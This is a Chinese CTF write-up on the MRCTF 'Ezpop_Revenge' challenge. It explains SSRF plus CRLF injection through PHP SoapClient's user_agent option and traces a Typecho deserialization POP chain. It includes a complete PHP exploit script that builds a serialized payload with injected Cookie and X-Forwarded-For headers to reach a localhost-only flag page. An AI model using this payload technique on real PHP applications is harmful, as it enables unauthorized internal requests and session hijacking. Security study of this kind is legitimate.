从ctf中学习利用利用SoapClient类的SSRF+CRLF攻击
soap介绍
SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。
或者更简单地说:SOAP 是用于访问网络服务的协议。
产生漏洞的原因
PHP 的 SOAP 扩展可以用来提供和使用 Web Services,在 SoapClient 中,可以看到有这样的用法,
1
| public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
|
在$options的介绍中,有这样一句话
1
| The user_agent option specifies string to use in User-Agent header.
|
可以使用user_agent选项定义User-Agent头
如何利用User-Agent进行CRLF漏洞?
因为User-Agent
的http header位置正好在Content-Type 和 Content-Length这些之上,所以可以进行覆盖,达成CRLF漏洞。关于CRLF漏洞可以看[这篇文章]([https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html))
Ezpop_Revenge
考点
反序列化pop链构造,SSRF
解题过程
www.zip老套路拿到源码,进行分析,先找入口,直接全局搜索MRCTF就能找到关键代码
usr/plugins/HelloWorld/Plugin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } }
class HelloWorld_Plugin implements Typecho_Plugin_Interface { public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } } }
|
以及flag.php
1 2 3 4 5 6
| <?php if(!isset($_SESSION)) session_start(); if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ $_SESSION['flag']= "MRCTF{******}"; }else echo "我扌your problem?\nonly localhost can get flag!"; ?>
|
可以看到Plugin.php中如果有$_REQUEST['admin']
就会输出session,并且$_SERVER['REMOTE_ADDR']==="127.0.0.1"
的话,flag也是在session中的。
在HelloWorld_DB
的__wakeup()
方法内实例化了Typecho_Db
类,查看/var/Typecho/Db.php内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| class Typecho_Db { public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
$this->_prefix = $prefix;
$this->_pool = array(); $this->_connectedPool = array(); $this->_config = array();
$this->_adapter = new $adapterName(); } }
|
代码长就只贴关键的了,
Typecho_Db_Exception
类在/var/Typecho/Db/Query.php中,这里有一个//__toString()
的注释,直接看__toString函数里的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public function __construct(Typecho_Db_Adapter $adapter, $prefix) { $this->_adapter = &$adapter; $this->_prefix = $prefix;
$this->_sqlPreBuild = self::$_default; } public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } }
return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
|
假设我们把_adapter
实例化为SoapClient
,在调用parseSelect
这个不存在的方法时,会自动调用_call
方法,就用上文的方法来执行
1
| public SoapClient::__call ( string $function_name , array $arguments )
|
1 2
| case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild);
|
pop链
反序列化位于/usr/plugins/HelloWord/Plugin.php
中的HelloWorld_DB类,触发__wakeup()
,实例化Typecho_Db
位于/var/Typecho/Db.php
跟进Typecho_Db
类,传输的$this->coincidence['hello']
为__construct的$adapterName参数
$this->coincidence['hello']
实例化Typecho_Db_Query
对象,控制其中的$adapterName
$adapterName
拼接到字符串中,触发__tostring
私有变量$_adapter
为soap类来本地访问flag.php
在调用parseSelect
这个不存在的方法时,会自动调用_call
方法,完成反序列化
想要带SESSION出来,需要传PHPSESSID,这里用CRLF漏洞来执行。只要在UA后加上\r\nCookie: PHPSESSID=xxx
就能为http头添加一个新的Cookie字段,这样就能带上session了。
构造脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter;
public function __construct() { $target = 'http://127.0.0.1/flag.php'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=6m5gros2iar5ds6amiua24mgn1' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'aaaa^^'.join('^^',$headers),'uri' => "aaab")); $this->_sqlPreBuild =array("action"=>"SELECT"); $this->_adapter = $b; } }
class HelloWorld_DB { private $coincidence;
public function __construct() { $this->coincidence = ["hello" => new Typecho_Db_Query()]; } }
$a = new HelloWorld_DB(); $aaa = serialize($a);
|
这时候我们把结果s改为S,并添加\00
再进行
1 2
| $aaa = str_replace('^^',"\r\n",$aaa); echo base64_encode($aaa);
|
不用带上post内容再重新访问页面就可以了
小结
在这个题目中,主要用到的是替换cookie以及内网的功能,可以更多使用ssrf来打内容,通过CRLF的,可以执行其他操作包括sql注入,命令执行,也是很大的攻击面,除了php,soap还有其他利用方式需要继续学习。